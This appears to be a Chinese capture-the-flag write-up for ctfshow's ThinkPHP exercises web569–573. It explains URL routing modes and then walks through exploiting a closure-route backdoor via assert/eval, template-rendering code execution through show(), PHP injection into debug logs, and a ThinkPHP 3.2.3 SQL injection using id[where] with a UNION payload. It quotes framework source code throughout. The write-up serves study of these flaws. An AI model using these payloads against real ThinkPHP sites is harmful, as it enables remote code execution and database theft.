web569
thinkphp 专项训练-pathinfo的运用
flag在Admin模块的Login控制器的ctfshowLogin方法中
分析:
一个完整的ThinkPHP应用基于模块/控制器/操作设计
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
ThinkPHP的应用可以支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
>php.exe index.php(或其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]
为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {public function index($name){echo "hello ".$name;}
}
1.PATHINFO模式
/index.php/Home/Index/index/name/123/
2.普通模式
/index.php?m=Home&c=Index&f=index&name=123
3.兼容模式
/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
4.REWRITE模式
/Home/Index/index/name/123/
所以我们要访问Admin模块的Login控制器的ctfshowLogin方法
Pathinfo模式:
/index.php/Admin/Login/ctfshowLogin
普通模式:
/index.php?m=Admin&c=Login&a=ctfshowLogin
兼容模式:
/index.php?s=Admin/Login/ctfshowLogin
web570
黑客建立了闭包路由后门,你能找到吗

查看:
<?php
return array(//'配置项'=>'配置值''DB_TYPE' => 'mysql', // 数据库类型'DB_HOST' => '127.0.0.1', // 服务器地址'DB_NAME' => 'ctfshow', // 数据库名'DB_USER' => 'root', // 用户名'DB_PWD' => 'ctfshow', // 密码'DB_PORT' => '3306', // 端口'URL_ROUTER_ON' => true, 'URL_ROUTE_RULES' => array('ctfshow/:f/:a' =>function($f,$a){call_user_func($f, $a);})
);
因为输入 / 很困难,所以我们直接执行system(‘ls /’)不太可能
GET:
/index.php/ctfshow/assert/eval($_POST[1])/
POST:
1=system('cat /f*');
web571
黑客建立了控制器后门,你能找到吗
考点:show方法导致的命令执行
Application\Home\Controller\IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {public function index($n=''){$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');}
}
跟进show
/*** 输出内容文本可以包括Html 并支持内容解析* @access protected* @param string $content 输出内容* @param string $charset 模板输出字符集* @param string $contentType 输出类型* @param string $prefix 模板缓存前缀* @return mixed*/protected function show($content,$charset='',$contentType='',$prefix='') {$this->view->display('',$charset,$contentType,$content,$prefix);}
跟进display
/*** 加载模板和页面输出 可以返回输出内容* @access public* @param string $templateFile 模板文件名* @param string $charset 模板输出字符集* @param string $contentType 输出类型* @param string $content 模板输出内容* @param string $prefix 模板缓存前缀* @return mixed*/public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {G('viewStartTime');// 解析并获取模板内容$content = $this->fetch($templateFile,$content,$prefix);// 输出模板内容$this->render($content,$charset,$contentType);}
跟进fetch
/*** 解析和获取模板内容 用于输出* @access public* @param string $templateFile 模板文件名* @param string $content 模板输出内容* @param string $prefix 模板缓存前缀* @return string*/public function fetch($templateFile='',$content='',$prefix='') {if(empty($content)) {$templateFile = $this->parseTemplate($templateFile);// 模板文件不存在直接返回if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);}else{defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());}// 页面缓存ob_start();ob_implicit_flush(0);if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板$_content = $content;// 模板阵列变量分解成为独立变量extract($this->tVar, EXTR_OVERWRITE);// 直接载入PHP模板empty($_content)?include $templateFile:eval('?>'.$_content);}else{// 视图解析标签$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);$_content = !empty($content)?:$templateFile;if((!empty($content) && $this->checkContentCache($content,$prefix)) || $this->checkCache($templateFile,$prefix)) { // 缓存有效//载入模版缓存文件Storage::load(C('CACHE_PATH').$prefix.md5($_content).C('TMPL_CACHFILE_SUFFIX'),$this->tVar);}else{$tpl = Think::instance('Think\\Template');// 编译并加载模板文件$tpl->fetch($_content,$this->tVar,$prefix);} }// 获取并清空缓存$content = ob_get_clean();// 内容过滤标签// 系统默认的特殊变量替换$replace = array('__ROOT__' => __ROOT__, // 当前网站地址'__APP__' => __APP__, // 当前应用地址'__MODULE__' => __MODULE__,'__ACTION__' => __ACTION__, // 当前操作地址'__SELF__' => __SELF__, // 当前页面地址'__CONTROLLER__'=> __CONTROLLER__,'__URL__' => __CONTROLLER__,'__PUBLIC__' => __ROOT__.'/Public',// 站点公共目录);// 允许用户自定义模板的字符串替换if(is_array(C('TMPL_PARSE_STRING')) )$replace = array_merge($replace,C('TMPL_PARSE_STRING'));$content = str_replace(array_keys($replace),array_values($replace),$content);// 输出模板文件return $content;}
关键:可以进行命令执行
empty($_content)?include $templateFile:eval('?>'.$_content);
payload:
?n=<?php system('cat /f*');?>
解释:
如果你没有定义任何模板文件,或者把模板内容存储到数据库中的话,你就需要使用show方法来渲染输出了
show方法的调用格式:
show('渲染内容'[,'字符编码'][,'输出类型'])
//例如:$this->show($content);
指定编码和类型:
$this->show($content, 'utf-8', 'text/xml');
web572
考点:爆破日志
题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以 年_月_日.log 来命名的,可以来爆破文件名:

爆破成功一个返回:

日志里:
/index.php?showctf=<?php phpinfo();?>
payload:
/index.php?showctf=<?php system('cat /f*');?>
web573
考点:ThinkPHP 3.2.3的SQL注入
hello user1,get id =1?
\Application\Home\Controller\IndexController.class.php:
假设源码:
class IndexController extends Controller {public function index(){$a=M('xxx'); //表名$id=I('GET.id');$b=$a->find($id);var_dump($b);}
}
传入:
?id=1'
跟进I函数:
/*** 获取输入参数 支持过滤和默认值* 使用方法:* <code>* I('id',0); 获取id参数 自动判断get或者post* I('post.name','','htmlspecialchars'); 获取$_POST['name']* I('get.'); 获取$_GET* </code>* @param string $name 变量的名称 支持指定类型* @param mixed $default 不存在的时候默认值* @param mixed $filter 参数过滤方法* @param mixed $datas 要获取的额外数据源* @return mixed*/
function I($name,$default='',$filter=null,$datas=null) {if(strpos($name,'/')){ // 指定修饰符list($name,$type) = explode('/',$name,2);}if(strpos($name,'.')) { // 指定参数来源list($method,$name) = explode('.',$name,2);}else{ // 默认为自动判断$method = 'param';}switch(strtolower($method)) {case 'get' : $input =& $_GET;break;case 'post' : $input =& $_POST;break;case 'put' : parse_str(file_get_contents('php://input'), $input);break;case 'param' :switch($_SERVER['REQUEST_METHOD']) {case 'POST':$input = $_POST;break;case 'PUT':parse_str(file_get_contents('php://input'), $input);break;default:$input = $_GET;}break;case 'path' : $input = array();if(!empty($_SERVER['PATH_INFO'])){$depr = C('URL_PATHINFO_DEPR');$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); }break;case 'request' : $input =& $_REQUEST; break;case 'session' : $input =& $_SESSION; break;case 'cookie' : $input =& $_COOKIE; break;case 'server' : $input =& $_SERVER; break;case 'globals' : $input =& $GLOBALS; break;case 'data' : $input =& $datas; break;default:return NULL;}if(''==$name) { // 获取全部变量$data = $input;$filters = isset($filter)?$filter:C('DEFAULT_FILTER');if($filters) {if(is_string($filters)){$filters = explode(',',$filters);}foreach($filters as $filter){$data = array_map_recursive($filter,$data); // 参数过滤}}}elseif(isset($input[$name])) { // 取值操作$data = $input[$name];$filters = isset($filter)?$filter:C('DEFAULT_FILTER');if($filters) {if(is_string($filters)){$filters = explode(',',$filters);}elseif(is_int($filters)){$filters = array($filters);}foreach($filters as $filter){if(function_exists($filter)) {$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤}elseif(0===strpos($filter,'/')){// 支持正则验证if(1 !== preg_match($filter,(string)$data)){return isset($default) ? $default : NULL;}}else{$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));if(false === $data) {return isset($default) ? $default : NULL;}}}}if(!empty($type)){switch(strtolower($type)){case 's': // 字符串$data = (string)$data;break;case 'a': // 数组$data = (array)$data;break;case 'd': // 数字$data = (int)$data;break;case 'f': // 浮点$data = (float)$data;break;case 'b': // 布尔$data = (boolean)$data;break;}}}else{ // 变量默认值$data = isset($default)?$default:NULL;}is_array($data) && array_walk_recursive($data,'think_filter');return $data;
}
参数过滤,调用了think_filter:
is_array($data) && array_walk_recursive($data,'think_filter');
think_filter
function think_filter(&$value){// TODO 其他安全过滤// 过滤查询特殊字符if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){$value .= ' ';}
}
跟进find:
/*** 查询数据* @access public* @param mixed $options 表达式参数* @return mixed*/public function find($options=array()) {if(is_numeric($options) || is_string($options)) {$where[$this->getPk()] = $options;$options = array();$options['where'] = $where;}// 根据复合主键查找记录$pk = $this->getPk();if (is_array($options) && (count($options) > 0) && is_array($pk)) {// 根据复合主键查询$count = 0;foreach (array_keys($options) as $key) {if (is_int($key)) $count++; } if ($count == count($pk)) {$i = 0;foreach ($pk as $field) {$where[$field] = $options[$i];unset($options[$i++]);}$options['where'] = $where;} else {return false;}}// 总是查找一条记录$options['limit'] = 1;// 分析表达式$options = $this->_parseOptions($options);// 判断查询缓存if(isset($options['cache'])){$cache = $options['cache'];$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));$data = S($key,'',$cache);if(false !== $data){$this->data = $data;return $data;}}$resultSet = $this->db->select($options);if(false === $resultSet) {return false;}if(empty($resultSet)) {// 查询结果为空return null;}if(is_string($resultSet)){return $resultSet;}// 读取数据后的处理$data = $this->_read_data($resultSet[0]);$this->_after_find($data,$options);$this->data = $data;if(isset($cache)){S($key,$data,$cache);}return $this->data;}
在find函数中:
_parseOptions 对 $options 进行了处理:
$options = $this->_parseOptions($options);
跟进_parseOptions:
/*** 分析表达式* @access protected* @param array $options 表达式参数* @return array*/protected function _parseOptions($options=array()) {if(is_array($options))$options = array_merge($this->options,$options);if(!isset($options['table'])){// 自动获取表名$options['table'] = $this->getTableName();$fields = $this->fields;}else{// 指定数据表 则重新获取字段列表 但不支持类型检测$fields = $this->getDbFields();}// 数据表别名if(!empty($options['alias'])) {$options['table'] .= ' '.$options['alias'];}// 记录操作的模型名称$options['model'] = $this->name;// 字段类型验证if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {// 对数组查询条件进行字段类型检查foreach ($options['where'] as $key=>$val){$key = trim($key);if(in_array($key,$fields,true)){if(is_scalar($val)) {$this->_parseType($options['where'],$key);}}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){if(!empty($this->options['strict'])){E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');} unset($options['where'][$key]);}}}// 查询过后清空sql表达式组装 避免影响下次查询$this->options = array();// 表达式过滤$this->_options_filter($options);return $options;}
是数组,进入if

跟进_parseType:
_parseType 对 $options 进行了处理
/*** 数据类型检测* @access protected* @param mixed $data 数据* @param string $key 字段名* @return void*/protected function _parseType(&$data,$key) {if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){$fieldType = strtolower($this->fields['_type'][$key]);if(false !== strpos($fieldType,'enum')){// 支持ENUM类型优先检测}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {$data[$key] = intval($data[$key]);}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){$data[$key] = floatval($data[$key]);}elseif(false !== strpos($fieldType,'bool')){$data[$key] = (bool)$data[$key];}}}
如果id的类型是int会进入intval函数,会直接去掉其他字符达到过滤的效果
如果id的类型是char会接着往下走
执行完 _parseType 后回到 find 中的 select
$resultSet = $this->db->select($options);
跟进select:
/*** 查找记录* @access public* @param array $options 表达式* @return mixed*/public function select($options=array()) {$this->model = $options['model'];$this->parseBind(!empty($options['bind'])?$options['bind']:array());$sql = $this->buildSelectSql($options);$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;}
跟进buildSelectSql:
/*** 生成查询SQL* @access public* @param array $options 表达式* @return string*/public function buildSelectSql($options=array()) {if(isset($options['page'])) {// 根据页数计算limitlist($page,$listRows) = $options['page'];$page = $page>0 ? $page : 1;$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);$offset = $listRows*($page-1);$options['limit'] = $offset.','.$listRows;}$sql = $this->parseSql($this->selectSql,$options);return $sql;}
跟进parseSql:
/*** 替换SQL语句中表达式* @access public* @param array $options 表达式* @return string*/public function parseSql($sql,$options=array()){$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),array($this->parseTable($options['table']),$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),$this->parseField(!empty($options['field'])?$options['field']:'*'),$this->parseJoin(!empty($options['join'])?$options['join']:''),$this->parseWhere(!empty($options['where'])?$options['where']:''),$this->parseGroup(!empty($options['group'])?$options['group']:''),$this->parseHaving(!empty($options['having'])?$options['having']:''),$this->parseOrder(!empty($options['order'])?$options['order']:''),$this->parseLimit(!empty($options['limit'])?$options['limit']:''),$this->parseUnion(!empty($options['union'])?$options['union']:''),$this->parseLock(isset($options['lock'])?$options['lock']:false),$this->parseComment(!empty($options['comment'])?$options['comment']:''),$this->parseForce(!empty($options['force'])?$options['force']:'')),$sql);return $sql;}
我们知道我们的id的值在$options['where']中,跟进parseWhere:
/*** where分析* @access protected* @param mixed $where* @return string*/protected function parseWhere($where) {$whereStr = '';if(is_string($where)) {// 直接使用字符串条件$whereStr = $where;}else{ // 使用数组表达式$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';if(in_array($operate,array('AND','OR','XOR'))){// 定义逻辑运算规则 例如 OR XOR AND NOT$operate = ' '.$operate.' ';unset($where['_logic']);}else{// 默认进行 AND 运算$operate = ' AND ';}foreach ($where as $key=>$val){if(is_numeric($key)){$key = '_complex';}if(0===strpos($key,'_')) {// 解析特殊条件表达式$whereStr .= $this->parseThinkWhere($key,$val);}else{// 查询字段的安全过滤// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){// E(L('_EXPRESS_ERROR_').':'.$key);// }// 多条件支持$multi = is_array($val) && isset($val['_multi']);$key = trim($key);if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段$array = explode('|',$key);$str = array();foreach ($array as $m=>$k){$v = $multi?$val[$m]:$val;$str[] = $this->parseWhereItem($this->parseKey($k),$v);}$whereStr .= '( '.implode(' OR ',$str).' )';}elseif(strpos($key,'&')){$array = explode('&',$key);$str = array();foreach ($array as $m=>$k){$v = $multi?$val[$m]:$val;$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';}$whereStr .= '( '.implode(' AND ',$str).' )';}else{$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);}}$whereStr .= $operate;}$whereStr = substr($whereStr,0,-strlen($operate));}return empty($whereStr)?'':' WHERE '.$whereStr;}
跟进parseWhereItem
/*** where子单元分析* @access protected* @param string $key* @param mixed $val* @return array*/protected function parseWhereItem($key,$val) {$whereStr = '';if(is_array($val)) {if(is_string($val[0])) {$exp = strtolower($val[0]);if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找if(is_array($val[1])) {$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';if(in_array($likeLogic,array('AND','OR','XOR'))){$like = array();foreach ($val[1] as $item){$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);}$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; }}else{$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);}}elseif('bind' == $exp ){ // 使用表达式$whereStr .= $key.' = :'.$val[1];}elseif('exp' == $exp ){ // 使用表达式$whereStr .= $key.' '.$val[1];}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算if(isset($val[2]) && 'exp'==$val[2]) {$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];}else{if(is_string($val[1])) {$val[1] = explode(',',$val[1]);}$zone = implode(',',$this->parseValue($val[1]));$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';}}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算$data = is_string($val[1])? explode(',',$val[1]):$val[1];$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);}else{E(L('_EXPRESS_ERROR_').':'.$val[0]);}}else {$count = count($val);$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) {$count = $count -1;}else{$rule = 'AND';}for($i=0;$i<$count;$i++) {$data = is_array($val[$i])?$val[$i][1]:$val[$i];if('exp'==strtolower($val[$i][0])) {$whereStr .= $key.' '.$data.' '.$rule.' ';}else{$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';}}$whereStr = '( '.substr($whereStr,0,-4).' )';}}else {//对字符串类型字段采用模糊匹配$likeFields = $this->config['db_like_fields'];if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');}else {$whereStr .= $key.' = '.$this->parseValue($val);}}return $whereStr;}
跟进parseValue:
/*** value分析* @access protected* @param mixed $value* @return string*/protected function parseValue($value) {if(is_string($value)) {$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){$value = $this->escapeString($value[1]);}elseif(is_array($value)) {$value = array_map(array($this, 'parseValue'),$value);}elseif(is_bool($value)){$value = $value ? '1' : '0';}elseif(is_null($value)){$value = 'null';}return $value;}
看到了具体的转义函数:
$value = $this->escapeString($value[1]);
跟进escapeString
/*** SQL指令安全过滤* @access public* @param string $str SQL字符串* @return string*/public function escapeString($str) {return addslashes($str);}
通过addslashes()函数进行转义
addslashes() 函数会在预定义字符之前添加反斜杠的字符串。
预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL
那么假设我们传入的内容是数组呢 ?id[where]=1'

_parseOptions
如果我们的 $options['where'] 是数组的话会进入 _parseType ,
现在的 $options['where']="1'" 是个字符串,也就不会进入这个if:



最终执行的sql语句是 select * from xxx where 1' limit 1 这样我们的单引号就保留了下来

?id[where]=id=0 union select 1,flag4s,3,4 from flags
实际:
"SELECT * FROM `xxx` WHERE id=0 union select 1,flag4s,3,4 from flags LIMIT 1 "
